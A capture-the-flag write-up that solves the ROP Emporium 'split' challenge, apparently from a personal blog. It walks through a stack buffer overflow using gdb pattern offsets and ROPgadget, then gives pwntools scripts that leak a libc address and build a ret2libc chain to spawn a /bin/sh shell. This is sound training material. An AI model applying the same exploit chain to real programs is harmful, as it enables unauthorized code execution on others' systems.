Home ROP Emporium Split Pwn
Post
Cancel

ROP Emporium Split Pwn

1
2
3
4
5
6
7
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

Reversing in ghidra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  puts("split by ROP Emporium");
  puts("x86_64\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

void pwnme(void)

{
  undefined local_28 [32];
  
  memset(local_28,0,0x20);
  puts("Contriving a reason to ask user for data...");
  printf("> ");
  read(0,local_28,0x60);
  puts("Thank you!");
  return;
}


void usefulFunction(void)

{
  system("/bin/ls");
  return;
}

Buffer overflow in read function to be exploited. First we have to find the offset of the buffer overflow

1
2
3
4
5
6
7
8
9
split$ ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> ASD
Thank you!

Exiting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ info fun
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400742  usefulFunction
0x0000000000400760  __libc_csu_init
0x00000000004007d0  __libc_csu_fini
0x00000000004007d4  _fini
gdb-peda$ 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
kali@kali:~/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split$ gdb ./split
GNU gdb (Debian 9.2-1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./split...
(No debugging symbols found in ./split)
gdb-peda$ 
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /home/kali/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split/split 
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Thank you!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xb ('\x0b')
RBX: 0x0 
RCX: 0x7ffff7edbff3 (<__GI___libc_write+19>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7fac723 --> 0xfae670000000000a 
RDI: 0x7ffff7fae670 --> 0x0 
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdf48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
RIP: 0x400741 (<pwnme+89>:      ret)
R8 : 0xb ('\x0b')
R9 : 0x2 
R10: 0xfffffffffffff24b 
R11: 0x246 
R12: 0x4005b0 (<_start>:        xor    ebp,ebp)
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40073a <pwnme+82>: call   0x400550 <puts@plt>
   0x40073f <pwnme+87>: nop
   0x400740 <pwnme+88>: leave  
=> 0x400741 <pwnme+89>: ret    
   0x400742 <usefulFunction>:   push   rbp
   0x400743 <usefulFunction+1>: mov    rbp,rsp
   0x400746 <usefulFunction+4>: mov    edi,0x40084a
   0x40074b <usefulFunction+9>: call   0x400560 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
0008| 0x7fffffffdf50 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
0016| 0x7fffffffdf58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
0024| 0x7fffffffdf60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA")
0032| 0x7fffffffdf68 ("IAAeAA4AAJAAfAA5AAKAAgAA")
0040| 0x7fffffffdf70 ("AJAAfAA5AAKAAgAA")
0048| 0x7fffffffdf78 ("AAKAAgAA")
0056| 0x7fffffffdf80 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400741 in pwnme ()
gdb-peda$ 6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Undefined command: "6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA".  Try "help".
gdb-peda$ 

Searching for offset

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RSP] --> offset 40 - size ~56
Pattern buffer found at:
0x00007fffffffdf20 : offset    0 - size   96 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0x00007fffffffb330 : 0x00007fffffffdf20 ($sp + -0x2c18 [-2822 dwords])
0x00007fffffffdb80 : 0x00007fffffffdf20 ($sp + -0x3c8 [-242 dwords])
0x00007fffffffdb98 : 0x00007fffffffdf20 ($sp + -0x3b0 [-236 dwords])

OFFSET of stack pointer = 40

POP RDI + SYSTEM

1
2
3
kali@kali:~/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split$ ROPgadget --binary ./split | grep -i rdi
0x00000000004007c3 : pop rdi ; ret
kali@kali:~/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split$ 
1
POP_RDI = 0x00000000004007c3
1
RET = 0x000000000040053e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

p = process('./split')
elf = ELF('./split')


PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN = elf.symbols['main']


print("PUTS GOT = {}".format(hex(PUTS_GOT)))
print("PUTS PLT = {}".format(hex(PUTS_PLT)))
print("MAIN = {}".format(hex(MAIN)))

OFFSET = 40

POP_RDI = p64(0x00000000004007c3)
RET = p64(0x000000000040053e)

p.recvuntil(">")

# We have to leak puts address from stack to find libc address

leak_payload = b"A"*OFFSET + POP_RDI + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)

p.sendline(leak_payload)
p.recvline()

leak_address = p.recvline().strip()

print("PUTS Leaked Address: {}".format(hex(int.from_bytes(leak_address, byteorder='little'))))


p.recv()
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kali@kali:~/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split$ python3 exp.py 
[+] Starting local process './split': pid 23212
[*] '/home/kali/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
PUTS GOT = 0x601018
PUTS PLT = 0x400550
MAIN = 0x400697
/home/kali/ctf/challenges/pwn/ROP/rop_emporium_all_challenges/split/exp.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil(">")
PUTS Leaked Address: 0x7f092a2f26b0
[*] Switching to interactive mode
$ 
Thank you!

Exiting

Puts leaked address : 0x7f092a2f26b0 ending with 6b0.

libc search split

libc search split

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

p = process('./split')
elf = ELF('./split')
libc = ELF('./libc6_2.31-3_amd64.so')


PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN = elf.symbols['main']


log.info("PUTS GOT = {}".format(hex(PUTS_GOT)))
log.info("PUTS PLT = {}".format(hex(PUTS_PLT)))
log.info("MAIN = {}".format(hex(MAIN)))

OFFSET = 40

POP_RDI = p64(0x00000000004007c3)
RET = p64(0x000000000040053e)

p.recvuntil(b">")

# We have to leak puts address from stack to find libc address

leak_payload = b"A"*OFFSET + POP_RDI + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)

p.sendline(leak_payload)
p.recvline()

leak_address = p.recvline().strip()
puts_libc = int.from_bytes(leak_address, byteorder='little')
log.info("PUTS Leaked Address: {}".format(hex(int.from_bytes(leak_address, byteorder='little'))))

libc.address = puts_libc - 0x0766b0

log.info("Libc Address: {}".format(hex(libc.address)))

BINSH = libc.search(b"/bin/sh").__next__()
SYSTEM = libc.symbols["system"]

log.info("BINSH Address: {}".format(hex(BINSH)))
log.info("SYSTEM Address: {}".format(hex(SYSTEM)))

final_payload = b"A"* OFFSET + POP_RDI + p64(BINSH) + RET + p64(SYSTEM)

p.recvuntil(b">")
p.sendline(final_payload)
p.sendline()

p.interactive()

libc search split

Running with socat

1
socat TCP-LISTEN:1337,reuseaddr,fork system:./split
This post is licensed under CC BY 4.0 by the author.